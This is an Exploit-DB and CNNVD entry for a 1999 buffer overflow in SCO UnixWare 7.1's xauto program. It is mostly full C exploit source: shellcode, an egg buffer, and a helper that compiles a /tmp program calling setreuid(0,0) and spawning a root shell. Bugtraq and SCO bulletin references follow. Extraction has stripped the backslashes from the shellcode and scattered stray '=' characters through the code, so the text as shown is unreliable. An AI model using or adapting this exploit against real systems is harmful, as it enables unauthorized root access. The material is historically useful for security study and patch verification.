https://www.exploit-db.com/exploits/19656
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-027

UnixWare的xauto程序存在缓冲器溢出漏洞。本地用户可以利用该漏洞获得root权限。

source: http://www.securityfocus.com/bid/848/info

Certain versions of SCO's UnixWare ship with a version of /usr/X/bin/xauto which is vulnerable to a buffer overflow attack which may result in an attacker gaining root privileges.

This is exploitable to gain root privileges even though /usr/X/bin/xauto is not setuid root. This is due to a system design issue with SCO Unixware which is discussed in an attached message in the 'Credit' section titled "UnixWare 7 uidadmin exploit + discussion". 

/**
 ** UnixWare 7.1 root exploit for xauto
 ** Note that xauto is NOT suid or sgid but gains it's privs from
 ** /etc/security/tcb/privs.  For more info, consult intro(2) =

 ** and fileprivs(1)
 ** =

 **
 ** Brock Tellier [email protected]
 **/ =



#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* UnixWare 7.1 shellcode runs /tmp/ui */
"xebx1bx5ex31xdbx89x5ex07x89x5ex0cx88x5ex11x31xc0"
"xb0x3bx8dx7ex07x89xf9x53x51x56x56xebx10xe8xe0xff"
"xffxff/tmp/uixaaxaaxaaxaax9axaaxaaxaaxaax07xaa";

                       =

#define EGGLEN 2048
#define RETLEN 5000
#define ALIGN 0
#define NOP 0x90
#define CODE "void main() { setreuid(0,0); system("/bin/sh"); }n"

void buildui() {
  FILE *fp;
  char cc[100];

  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);

}

int main(int argc, char *argv[]) {
  =

  long int offset=0;
  =

  int i;
  int egglen = EGGLEN;
  int retlen;
  long int addr;
  char egg[EGGLEN];
  char ret[RETLEN];
  // who needs __asm__?  Per Solar Designer's suggestion
  unsigned long sp = (unsigned long)&sp; =


  buildui();
  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffern", argv[0]);
    exit(0); =

  }
  else if (argc == 2){
    offset=atoi(argv[1]);
    retlen=RETLEN;
  }
  else if (argc == 3) {
    offset=atoi(argv[1]);
    retlen=atoi(argv[2]); =

  }
  else {
    offset=9400;
    retlen=2000;
    =

  }
  addr=sp + offset;
  =

  fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
/usr/X/bin/xauton");
  fprintf(stderr, "Brock Tellier [email protected]");
  fprintf(stderr, "Using offset/addr: %d/0x%xn", offset,addr);
  =

  memset(egg,NOP,egglen);
  memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
  =

  for(i=ALIGN;i< retlen-4;i+=4)
    *(int *)&ret[i]=addr;  =

  =

  memcpy(egg, "EGG=", 4);
  putenv(egg);

  execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); =

  =

}

来源:BID
名称:848
链接:http://www.securityfocus.com/bid/848
来源:BUGTRAQ
名称:19991223FYI,SCOSecuritypatchesavailable.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94606167110764&w;=2
来源:BUGTRAQ
名称:19991220SCOOpenServerSecurityStatus
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94581379905584&w;=2
来源:BUGTRAQ
名称:19991215RecentpostingsaboutSCOUnixWare7
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94530783815434&w;=2
来源:SCO
名称:SB-99.24a
链接:ftp://ftp.sco.com/SSE/security_bulletins/SB-99.24a